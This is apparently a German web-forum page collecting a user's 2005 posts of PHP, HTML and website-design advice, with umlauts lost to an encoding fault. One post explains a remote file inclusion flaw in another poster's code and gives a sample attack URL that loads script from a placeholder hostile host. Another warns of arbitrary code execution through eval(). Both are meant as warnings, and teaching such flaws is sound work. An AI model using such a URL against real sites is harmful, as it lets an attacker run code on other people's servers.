Klasse und schon kann ich beliebigen PHP-Code ber das Script ausfhren. Mit eval() muss man extrem vorsichtig sein. Besser Wre es, wenn du zum einen die beiden Werte prfst und eventuell zwangsweise in Zahlen konvertierst und zum anderen den Operator mit einem \switch\ abfragst und die Operationen einzeln im Quellcode schreibst. Somit wird eval() berflssig. ...



problem mit link - PHP & MySQL
in PHP & MySQL am 22.08.2005 11:26 von subjective

Es gibt eine entsprechende ....



Formular Pflichtfeld - PHP & MySQL
in PHP & MySQL am 11.08.2005 16:28 von subjective

Deine Bankverbindung :devil Ernsthaft - ein fertiges Script wird dir hier niemand kostenlos bauen. Es gibt aber auch gengend davon im Netz. Da du PHP lernen mchtest, solltest du allgemein mal einen Blick und hin riskieren....



Bilder bei Google und/oder bei Yahoo hochladen aber wie? - Internet Online Speicherdienste
in Internet Online Speicherdienste am 10.08.2005 15:09 von subjective

Gar nicht - Die Suchmaschinene indizieren Bilder die auf betehenden Webseiten liegen - und diese Webseiten knnen natrlich auch Bildgallereien sein....



Meine Webseite - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 09.08.2005 15:18 von subjective

Ich mchte aber das Kontaktformular nicht scrollen - und mein Monitor/Browserfenster ist auch gro genug - warum zwingst du die User dazu? Warum pat sich die Hhe nicht der Menge des Inhaltes an, der dargesteltl werden muss? Die Domainabfrage finde ich nutzlos. Aber das ist Ansichtssache......



Meine Webseite - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 09.08.2005 14:53 von subjective

Wie von anderen Seiten? Das sind doch eigene Inhalte oder?...



Meine Webseite - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 09.08.2005 14:44 von subjective

An sich finde ich das Layout ganz nett - mich stren nur enorm die iframes auf den Unterseiten und die AGBs als PDF....



Select - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 09.08.2005 10:58 von subjective

Allerdings ist es eine Entscheidung des Browser. So senden die meisten Browser, nicht angeklickte Checkboxen gar nicht - auch keinen leeren Wert....



problem mit verlinkung - PHP & MySQL
in PHP & MySQL am 08.08.2005 10:42 von subjective

Wunderbarer Tipp mit dem register_globals off - es hilft tatschlich potentielle Fehlerquellen zu vermindern. :devil Da man sich jedoch nicht immer aussuchen kann, wo das Script luft, sollte man zwar so entwickeln, aber auch dafr sorgen, dass es mit aktiviertem register_globals luft. Dazu hast du wunderbar gezeigt wie man das Sicherheitsloch einbaut. Wenn ich nmlich als URL [b]index.php?menu=schiffe&schiff=http://domain.tld/boese/script.txt/[/b] nutze, wird der Quellcode der fremden Seite eingebunden. Dies funktioniert auch wenn register_globals aus ist. Es kommt nur auf die mangelhafte Prfung an. ...



Stranges Problem mit XML Datei - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 05.08.2005 15:12 von subjective

Hrt sich an als ob irgendwelche Steuerzeichen drin wren. Ich wrde mal mit einem HexEditor Original und genderte Version vergleichen....



Chat - PHP & MySQL
in PHP & MySQL am 04.08.2005 10:55 von subjective

Er ist falsch. Schon vom Konzept her. Du macht genau das, was ich zuletzt beschrieben habe. Server-Push mit HTML-Ausgabe. Du solltest dich erstmal grundstzlich mit der Thematik beschftigen. Oder halt einen fertigen Java-/Flash-Chat nehmen....



Perl database.txt - Sonstige Web-Programmiersprachen
in Sonstige Web-Programmiersprachen am 04.08.2005 10:47 von subjective

Ich programmiere schon seit lngerer Zeit kein Perl mehr - es mte halt die Daten im POST entgegennehmen und in der Textdatei speichern....



ip ausgeben - PHP & MySQL
in PHP & MySQL am 04.08.2005 10:45 von subjective

Bei DSL kann es durchaus sein, das du fr dich ber lngere Zeit die gleiche IP bekommst. Falls bei fremden Besuchern die gleiche IP gespeichert wird, wrde ich eher mal einen Blick auf die Speicherroutinen werfen. Bedenke aber bitte auch das eine IP nicht eindeutig ist. Sie kann sich von Request zu Request ndern (dynamische Proxies, Einwahl nach Bedarf) und mehrere User knnen die gleiche IP haben (Proxy, Router, ...)....



Chat - PHP & MySQL
in PHP & MySQL am 03.08.2005 17:31 von subjective

PHP ist fr HTTP-Chats, so sie denn sein mssen, eine gute Lsung. Man nutzt dann halt ext/ircg und einen Threaded Webserver als Gateway zu einem IRC-Server. Der Java-Server ist eine schlechtere Lsung - der compilierte IRC-Server sollte leistungsstrker sein. Die Kombinationen aus Java-Applet und -Server haben meist den Nachteil das sie ber spezielle Ports kommunizieren, welche hufig von Firmen-Firewalls geblockt werden. Alle serverseitigen Speziallsungen haben den Nachteil, das sie auf Standard-Hostern kaum mglich sein werden. Genauso knnte PHP als Backend fr Flash, XMLHTTPRequest oder Java dienen. Somit wre keine Spezialsoftware auf dem Server notwendig und auch die Last (da kein Server-Push und simples XML statt komplettem HTML) akzeptabel. Alle Client-Techniken haben natrlich das Problem, dass sie vom Client untersttzt werden mssen. Was man nicht tuen sollte ist ein HTTP-Push mit Apache 1.3. Bei einem HTTP-Push wird die Verbindung nicht beendet, die genutzte Instanz kann also nicht fr mehrere Chatter wiederverwendet werden. Da der Apache pro Instanz eine ganze Menge Speicher braucht bekommt man mit der Server-Performance schnell Probleme. Diese Probleme sind vllig unabhngig von der verwendeten Programmiersprache. ...



Chat - PHP & MySQL
in PHP & MySQL am 03.08.2005 11:36 von subjective

Jede Menge - Chats auf HTML-Basis sind komplex, wenn man sie vernnftig umsetzen will. Auch wird dir kaum ein Hoster erlauben, dauerhaft Scripte laufen zu lassen. Daher brauchst du entweder eine Clientseitige Technik (JS-Callbacks, Flash oder Java) oder einen eigenen Server mit speziellem Webserver. Such einfach mal im Forum, dazu gab es schon endlose Diskussionen. *btw* ist PHP [b]nicht[/b] die schlechteste Alternative fr einen Chat - HTML ist es....



Perl database.txt - Sonstige Web-Programmiersprachen
in Sonstige Web-Programmiersprachen am 03.08.2005 11:29 von subjective

Nein, du kannst ber einfaches HTTP nicht schreiben. Dazu mut du ein Script auf den fremden Server hinterlegen, welches die Daten entgegennimmt und speichert. Wre schon etwas bse, wenn man ohne Anmeldung etc. einfach ber HTTP Dateien ndern knnte....



Chat - PHP & MySQL
in PHP & MySQL am 02.08.2005 14:27 von subjective

Das Senden des Standard-Ausgabepuffers erfolgt normalerweise mit flush(). Die ob_* Funktionen gelten nur fr eigene Ausgabepuffer. flush() funktioniert auerdem nicht, wenn die Transparente Session Id (enable_trans_sid) aktiv ist....



Bilder Uploadscript mit berprfung - PHP & MySQL
in PHP & MySQL am 02.08.2005 10:49 von subjective

Dateiauswahlfelder drfen ein Setzen des Value nicht untersttzen, da dies ein grobes Sicherheitsloch wre. Stell dir mal vor ein Serverbetreiber nutzt ein unsichtbares Formular trgt einen Dateinamen seiner Wahl ein und sendet das Formular ber JS gleich noch ab......



Lokalen Pfad auslesen? - PHP & MySQL
in PHP & MySQL am 01.08.2005 15:40 von subjective

Dann ist das Projekt wohl damit gestorben....



Lokalen Pfad auslesen? - PHP & MySQL
in PHP & MySQL am 01.08.2005 12:28 von subjective

Es sind zwei Teile 1. Mitarbeiter legen Daten dazu Dies ist der Dateiupload 2. Mitarbeiter durchsuchen bestehenden Dateibestand (evt. verknpfen auch) Hier hat ja das PHP Zugriff auf diese Dateien auf dem Dateiserver. Also kann man einen Dateibrowser dafr in PHP bauen, welcher die einzelnen Verzeichnistrukturen als HTML-Seiten zum Navigieren an den Browser schickt....



Lokalen Pfad auslesen? - PHP & MySQL
in PHP & MySQL am 01.08.2005 10:52 von subjective

Nein glcklicherweise nicht. Ich mchte nicht, das irgendein Webserver Daten bei mir auslesen kann. Das \Durchsuchen\-Feld bzw dient zum Hochladen von Dateien auf den Server. Im PHP-Manual gibt es dazu ein ....



Ausflugsziele und Freizeittipps - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 30.07.2005 17:37 von subjective

\Mainstream\ ist ein ziemliches Unwort an dieser Stelle. Warum willst du knstlich die Zielgruppe einer Seite beschrnken? Auerdem geht gerade dein Beispiel mit der Sekretrin falsch. Sie hat nmlich im Normallfall keinen Einflu auf den Browser - dies bestimmt die Technikabteilung. Diese wiederum knnte einen anderen Browser vorschreiben um weniger rger mit Wrmern und Co. zu haben. (Ist z.B. bei uns der Fall)...



include ... - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 28.07.2005 15:51 von subjective

Nein, natrlich nicht....



feste Position fr Men - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 28.07.2005 10:39 von subjective

Das ist doch sicher nicht dein eigener Quellcode, also frag doch einfach den Autoren. :devil ...



include ... - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 28.07.2005 10:35 von subjective

Objekte ja - Klassen nein. Objekte sind Variablen - hier reicht ein einfaches unset(). Klassennamen sollten eindeutig sein - ebendso die Einbindung (include_once, require_once)....



php seite includen - PHP & MySQL
in PHP & MySQL am 28.07.2005 10:34 von subjective

Lies aber bitte auch die Kommentare dazu. :-)...



nicht einsehbarer Verzeichnissbaum - PHP & MySQL
in PHP & MySQL am 25.07.2005 10:39 von subjective

Die Frage ist natrlich, ob das Gallery-Script auch einen Wrapper fr die Bilder bereitstellt oder ob es nur Bildtags erzeugt. In diesem Fall kann man das Verzeichnis nicht schtzen. Der Schutz macht jedoch auch nicht so viel Sinn. Auch den Wrapper kann man ja direkt ber eine URL-Eingabe im Browser ansprechen, um die Bilder anzuzeigen. Erst in Kombination mit einem Login knnen die Bilder wirklich geschtzt werden....



Dateien direkt von anderem Server downloaden - PHP & MySQL
in PHP & MySQL am 25.07.2005 10:34 von subjective

Die Header sind je nach Browser etwas verschieden. Dies spielt hier jedoch keien groe Rolle, da dein Vorhaben nicht sinnvoll ist. Wenn du einen Download von einem anderen Server \durchschleifst\, hast du den [b]dreifachen[/b] Traffik. (ausgehender am eigenen Server, ausgehender am Server mit der Datei, eingehender am eigenen Server) Achja die Header: ...



Ausflugsziele und Freizeittipps - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 20.07.2005 11:03 von subjective

Die Umkreissuche sollte Hauptbestandteil der Seite sein - Sie tut nur nicht das, was ich erwartet htte. Ich hatte eigentlich erwartet bei Angabe der PLZ die Ausflugsziele der nheren Umgebung zu bekommen - was soll ich mit den Orten? Dafr kommen mir bei dem Punkt Ausflugsziele lange Listen entgegen - nicht sehr toll. Die Informationen mssen strker miteinander vernetzt und besser zugnglich gemacht werden. Guck dir mal die Amazon-Seiten genauer an. Das Layout ist ermded - zum einen wird die Warnfarbe Rot im berma eingesetzt, zum anderen ist das Layout relativ gleichfrmig. Der graue Hintergrund hilft da auch nicht gerade. Die Effekte finde ich grtenteils zu stark. Der Quellcode ist schlimm: Dies geht auch komplett mit normalen Hyperlinks und zentralem CSS ohne Javascript. So genug gemault - hier ein paar Vorschlge: :-) 1. Ortssuche mit den Zielen verbinden - wenn ich einen Ort anwhle, interessieren mich nicht die statistischen Daten sondern die Ausflugsziele dort. 2. Bei Anwahl des Bundeslandes direkt einige Ausflugsziele zeigen. Entweder per Zufall oder die \Bekanntesten\ 3. Top Lists - Anzeige der am hufigsten betrachteten Ziele. Sensitiv nach Bundeslang/Ort/PLZ/Kategorie 4. Statische Daten nicht so prominent. Sie sind mal ganz interessant zu sehen, aber nicht Hauptinhalt der Seite (oder?). 5. Bilder bei den Ausflugszielen - ich hab bei keinem der Ausflugsziele ein Bild gefunden. (Eventuell die Falschen erwischt) 6. Teaser mit Kurztexten statt langer Listen (hnlich wie bei Newsseiten) 7. Berichte direkt bei den Zielen anzeigen \3 Berichte vorhanden\, \Seit der/die Erste, der/die einen Bericht schreibt...\ 8. Box \Neuste Berichte\...



btr Artikel zu "An alle phpBB 2 Forum CMS System N/X Betreiber !!" - PHP & MySQL
in PHP & MySQL am 20.07.2005 10:31 von subjective

Jep - genau das halt ich fr den deutlich besseren Weg. Somit wird der Dateiname genutzt, der Besucher hat ne vernnftige URL und Teile die mehrmals verwendet werden, liegen halt in zentralen Dateien. Was man gerade fr die aktuelle Seite bentigt, wird halt reingeholt (macht die Sache auch sehr flexibel). Eine zentrale \index.php\ ber die alles luft, macht *imho* erst Sinn, wenn [b]alle[/b] Inhalte aus der DB kommen (CMS)....



suche men - Internet Online Speicherdienste
in Internet Online Speicherdienste am 18.07.2005 13:15 von subjective

In der Ausgabeseite der Webprsenz sollte generell kein Javascript fr die Navigation zum Einsatz kommen. Gerade bei einer Firma, welche weltweit Produkte vertreiben will....



suche men - Internet Online Speicherdienste
in Internet Online Speicherdienste am 18.07.2005 10:47 von subjective

Freeware muss man nicht bezahlen. Es gibt allerdings Programme bei denen